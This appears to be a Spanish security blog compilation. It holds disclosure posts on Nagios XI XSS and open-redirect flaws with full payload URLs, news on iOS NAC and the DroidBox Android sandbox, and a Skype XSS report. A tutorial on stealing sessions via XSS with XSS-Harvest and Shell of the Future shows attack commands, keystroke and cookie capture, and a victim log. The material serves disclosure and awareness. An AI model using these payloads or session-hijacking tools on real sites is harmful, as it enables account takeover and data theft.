XSS en Nagios XI más BonusTrack

Con Bonus Track:

Al hacer "Vista Previa" del post, sale este mensaje en www.blogger.com... y para los que entiendan, sabrán a los que me refiero.

Como en todo software opensource, existe la versión enterprise, que en el caso de Nagios se denomina Nagios XI. En este post vamos a ver algunos fallos de seguridad que ya han sido notificados al equipo de desarrollo de esta herramienta y en la nueva release dejaran de estar, afortunadamente. Vamos a comenzar a buscar posibles puntos de fallo, para lo que usaremos la demo que podemos visitar en su sitio web: http://nagiosxi.demos.nagios.com/.


Una de las cosas que me pareció curiosa, es que esta versión de Nagios usa URLs limpias, por lo que podríamos decir que oculta las variables GET. No obstante, no por estar ocultas, estas variables dejan de existir, ya que si posicionamos el ratón sobre un enlace podremos ver como efectivamente los parámetros se pasan usando variables GET.

En esta captura podemos ver como al hacer click sobre “Hostgroup Summary” la URL que nos muestra el navegador está limpia pero el direccionamiento se nutre de variables GET que podemos explotar del siguiente modo:

Como podemos observar lo único que se ha hecho ha sido copiar el enlace del link y modificar las variables GET para obtener un XSS. Cabe destacar que todas las variables GET de esta versión de Nagios XI son susceptibles a XSS. Existen otros campos capaces de recibir un ataque XSS como por ejemplo el campo “search”:

O también en otros campos de entrada como puede ser el de filtro de páginas:

Cómo último ejemplo observaremos el campo “DashBoard Title”, que se ejecuta al previsualizar los distintos Dashboard que tenemos:

Cabe destacar que estos fallos se pueden corregir fácilmente filtrando todas las variables GET y campos de entrada que tengamos en la web utilizando para ello diversas funciones, que dependiendo del lenguaje varían. En php por ejemplo tenemos el caso del html_entities que nos puede ayudar en esta tarea.
Existe otro fallo en Nagios XI el cual también ha sido informado al fabricante y en la siguiente release dejará de estar, al igual que los fallos comentados anteriormente. En este caso el fallo es un URL Redirect Abuse, que permitiría al atacante redirigir al usuario a una página maliciosa. Este fallo se encuentra en la siguiente URL:

Como se puede observar hemos insertado una página inofensiva como es Google como PoC, pero podriamos insertar cualquier otra página. Este fallo se puede mitigar filtrando la dirección que se le pasa, para evitar que nos redirijan a páginas no deseadas.

RESUMEN:

Bug: XSS

http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?show=%22%3Cscript%3Ealert%2823%29;%3C/script%3E%22%3Cscript%3Ealert%2823%29;%3C/script%3E

http://nagioxi.demos.nagios.com/nagioxi (Search Field)

http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=all&style=%22%3Cscript%3Ealert%2823%29;%3C/script%3E%22%3Cscript%3Ealert%2823%29;%3C/script%3E

http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?show=services&hoststatustypes=%22%3Cscript%3Ealert%2823%29;%3C/script%3E%22%3Cscript%3Ealert%2823%29;%3C/script%3E&servicestatustypes=28

http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?&show=services&servicetatusty pes=0&hoststatustypes=12&hostattr=””

http://nagiosxi.demos.nagios.com/nagiosxi/ (Latest Alert)

Bug: Redirect Abuse

http://nagiosxi.demos.nagios.com/nagiosxi/admin/?xiwindow=http://www.google.es

Fuente: http://naxonez.wordpress.com/

NAC para iPhone e iPad

Safenet ha lanzado una nueva tecnología que permite el uso de iPhones e iPads de Apple ampliando control de acceso a red seguro (NAC), ampliando su plataforma de autenticación a los dispositivos con sistema operativo iOS.

Según Safenet, su nuevo software de seguridad para iPhones e iPads forma parte del entorno de autenticación y de los centros y del entorno de gestión de autenticación de la compañía, permitiendo así a los usuarios securizar y auditar el acceso a los recursos corporativos vía móvil.

Los portavoces de la compañía aseguran que, integrando la gestión de credenciales para dispositivos móviles en una plataforma de autenticación unificada, las empresas pueden confiar en que únicamente los usuarios autorizados tienen acceso a sus redes y recursos corporativos.

Aunque más de una empresa ofrece ya aplicaciones de autenticación token basada en software para el iPhone y el iPad, esta es la primera vez que se ha llevado un entorno NAC a los tablets e iPhones.

Según Laurence Pingree, la nueva oferta de Safenet resulta especialmente atractiva para las organizaciones teniendo en cuenta que “el acceso a los datos corporativos valiosos desde dispositivos que a veces son incluso desconocidos, genera un enorme riesgo para la seguridad”.

SandBox para Android

El aumento de aplicaciones maliciosas que han ido apareciendo para Android, (no solo en "markets" alternativos, sino también en el oficial) ha motivado la creación de la primera sandbox para Android.

Una sandbox permite recrear un escenario virtual seguro donde analizar las aplicaciones de forma dinámica, pudiendo detectar las acciones que realiza a distintos niveles y registrándolas para un análisis más en profundidad. Existen desde hace mucho para PC. Organizaciones públicas y privadas permiten el envío de un fichero y se devuelve un informe de su actividad.

La virtualización ha permitido facilitar mucho el proceso, aunque también los atacantes han sabido aprovecharse de esta circunstancia. Buena parte del malware de PC actual sabe detectar si se encuentra en un entorno virtual o en una sandbox y puede o bien no ejecutarse o bien modificar su comportamiento. Con esto dificultan su estudio.

Aunque ya existían algunas sandbox privadas para Android, el proyecto HoneyNet supone la primera sandbox gratuita por todo el que quiera montar su propio laboratorio en casa. La versión actual es alfa, lo que implica que, aunque inmadura, es funcional.

DroidBox, como ha sido bautizada, hace uso de TaintDroid, un proyecto para la monitorización en tiempo real creado por varias universidades estadounidenses e Intel. Por ahora, DrodiBox crea un informe tras la ejecución de una aplicación que devuelve la siguiente información:

• Operaciones de lectura y escritura de ficheros
• La actividad de las API criptográficas
• Conexiones de redes abiertas
• Salida de tráfico
• Fuga de información a través de ficheros SMS, o redes
• Intentos de envío de SMS
• Llamadas realizadas.

Más información:
HoneyNet :
http://www.honeynet.org/node/744

Google Code:
http://code.google.com/p/droidbox/

Project Web:
http://www.honeynet.org/gsoc/slot5

TaintDroid:
http://www.appanalysis.org/

Robo de sesiones HTTP mediante XSS

Un ataque de Cross Site Scripting (XSS) se produce cuando se inyecta código malicioso en forma de script en el lado del navegador, es decir, a través del cliente, en una página web en otro usuario final diferente que visita dicha página en cuestión. Este tipo de vulnerabilidad está muy extendida y puede afectar a cualquier aplicación web que utiliza la información de un usuario en la salida que genera a través del navegador Web, sin validación o codificación de los datos de entrada de la aplicación.

En múltiples ocasiones, no se le da la importancia que realmente tienen este tipo de ataques. Mediante una vulnerabilidad de XSS es relativamente sencillo enviar código malicioso a otro usuario desprevenido. El navegador del usuario objetivo no tiene forma de saber si lo que recibe es confiable y ejecuta el código malicioso al suponer que el script proviene de una fuente segura. Este script puede acceder a las cookies, los tokens de sesión u otra información sensible robando incluso la sesión. El código a inyectar y ejecutar puede ser VBscript, Javascript, etc.

Existen diferentes herramientas que son capaces de explotar vulnerabilidades de Cross Site Scripting para robar esas sesiones del usuario. Una de ellas es la recientemente publicada XSS-Harverst que facilita enormemente realizar ataques de XSS y que intenta concienciar sobre el impacto real que una vulnerabilidad de este tipo puede tener en una página web.

XSS-Harvest está escrito en lenguaje Perl y no ocupa más de 11 Kb. Con licencia GNU, no necesita de ningún servidor Web ni de motor de bases de datos para funcionar y, además, es multi-thread o multi-hilo, lo que le permite ejecutar tareas distintas a la vez y disponer de un gran rendimiento. Únicamente, al estar desarrollado en Perl, necesita de un intérprete del lenguaje independientemente de si es bajo Unix/Linux o Windows.

Entre las funcionalidades de XSS-Harvest destacan:

·         Los scripts de infección añaden detectores para los eventos importantes como las pulsaciones del teclado o los clicks del ratón en la página Web vulnerable y establecen la comunicación con el sistema XSS-Harvest.

·         Cualquier tecla que se pulse o cualquier click del ratón será analizado y enviado, de forma secreta, al servidor XSS-Harvest.

·         De forma opcional, es posible redireccionar la página Web vulnerable para mostrar otra página diferente en el mismo subdominio, como, por ejemplo, un formulario de acceso.

·         Realiza un seguimiento de las víctimas a través de las cookies para detectar futuras visitas a la página Web.

·         Cada víctima tiene un archivo diferente con el histórico correspondiente que contiene todos los eventos, cookies y pulsaciones del teclado que se derivan de su visita por la página. El fichero se encuentra localizado dentro de donde se ejecuta XSS-Harvest en el directorio "history" y con el formato loquesea.txt.

·         XSS-Harvest dispone de una consola que muestra los datos recibidos en tiempo real. - Funciona también con Internet Explorer 9 para ataques de Cross Site Scripting indirecto o reflejado, con Firefox 5, Google Chrome y con varios de los navegadores Web para dispositivos móviles como Safari y Android.

·         Es capaz de evadir los métodos antiXSS de los navegadores como, por ejemplo, la regulación de peticiones de Internet Explorer a la misma dirección (URL) cuando se extraen datos de un equipo o el plugin NoScript de Firefox.

El funcionamiento, desde la línea de comandos, es muy sencillo y presenta diversas opciones con diferentes parámetros de ejecución (-l, -p y -r):

XSS-harvest.pl -l http://web.vulnerable/login.html

Lo primero es encontrar una página Web que presente alguna vulnerabilidad de Cross Site Scripting. Se puede verificar que la vulnerabilidad existe insertando la sentencia

Fig 1. Confirmación de la vulneravilidad de XSS en la página de Hacktimes.com

El puerto por defecto por el que escucha el servidor XSS-harvest es el 80 (HTTP) pero es posible definir cualquier puerto con el parámetro -p. En este caso, se define el puerto 8080 (opción -l de listener y -p para especificar el puerto utilizado):

XSS-harvest.pl -l -p 8080 http://www.hacktimes.com/login.php

***************************

* XSS-Harvest Server *

***************************

[INFO] Starting Server....

[INFO] History directory found.

2011/07/09-12:00:21 XSSHarvest::NetServer0 (type Net::Server::PreFork) starting! pid(11122)

Using default listen value of 128

Binding to TCP port 8080 on host http://www.hacktimes.com/login.php

Revisando el archivo de texto creado con el histórico de los eventos detectados se observan cosas como las siguientes:

*************************************

[INFECTION] Sat Jul 9         12:01:11 2011

[IP] 192.168.1.23

[UID]

[UA] Mozilla/50 (X11; Linux x86_32; rv:5.0) Gecko/20100101 Firefox/5.0

*************************************

*************************************

[PAGE_LOADED] Sat Jul 9 12:01:11 2011

[URL] http://www.hacktimes.com/infect.html

[COOKIES]

login=hacktimes

password=hacktimes

*************************************

*************************************

[DATA] Sat Jul 9 12:01:11 2011

[CLICK RECEIVED]

[COORDS] 111,11

[TAGNAME]INPUT

[NAME]fname

*************************************

Otra herramienta muy interesante y fácil de utilizar es Shell of the Future o SOTF (http://www.andlabs.org/tools/sotf/sotf.html) de la gente de Attack and Defense Labs que funciona bajo Windows. Al arrancar el programa se obtiene la siguiente pantalla donde lanzar y configurar la aplicación en modo proxy por el puerto por defecto 133

Fig 2. Inicio y configuración de la aplicación Shell of the Future

Dispone de consola Web que es accesible configurando un proxy local (127.0.0.1 y el puerto 1337) en el navegador Web y cargando la siguiente dirección en la barra de direcciones http://127.0.0.1/sotf.console:

Fig 3. Consola de Shell of the Future

A continuación, en la página vulnerable de hacktimes de antes, se inyecta el código malicioso javascript que incluye la propia herramienta Shell of the Future (e1.js o e2.js). Se han incluido dos scripts, uno bastante elemental (e1.js) y otro más completo (e2.js) que incluye un link invisible hacia el servidor SOTF y un capturador de eventos "onmousemove" para controlar el cursor en todo momento:

http://www.hacktimes.com/login.php=

La consola ha cambiado y muestra la sesión que se acaba de robar del usuario desprevenido que está visitando la página vulnerable de hacktimes:

Fig 4. Consola de Shell of the Future donde se muestra una sesión de usuario robada

Fig 5. Desde la consola de SOTF se puede acceder a la sesión robada y se incluye un banner personalizable "Session Hijacked by..."

Shell of the Future no guarda históricos pero su facilidad de uso y que no precisa de instalación alguna lo convierten en una aplicación más que recomendable.

Referencia: http://www.hacktimes.com/robo_de_sesiones_http_mediante_xss/

0day XSS en Skype

Levent Kayan (noptrix), ha reportado una vulnerabilidad de cross-site scripting permanente en Skype que afecta a las versiones anteriores a 5.3.0.120 y las plataformas Windows XP, Vista, 7 y Mac OS X.

Como todos los cross-site scripting, el error está causado por una falta de validación de los datos introducidos en la entrada del perfil "Mobile phone". Esto permite a un atacante remoto obtener el identificador de sesión de la víctima y por tanto, secuestrar su identidad. El descubridor no descarta que otros campos sufran el mismo problema.

Levent Kayan ha publicado una prueba de concepto que demuestra la vulnerabilidad, utilizando un iframe y la función onload de JavaScript. Afirma que avisará a Skype del problema, por tanto no existe parche oficial disponible.

Las PoC:

http://www.noptrix.net/tmp/skype_xss.png

http://www.noptrix.net/tmp/skype_linux.ogv

http://www.noptrix.net/tmp/skype_winxp.ogv

http://www.noptrix.net/tmp/skype_win7.avi

Solución:

Skype validó el input de investigador pero hasta el momento no se sabe de un parche.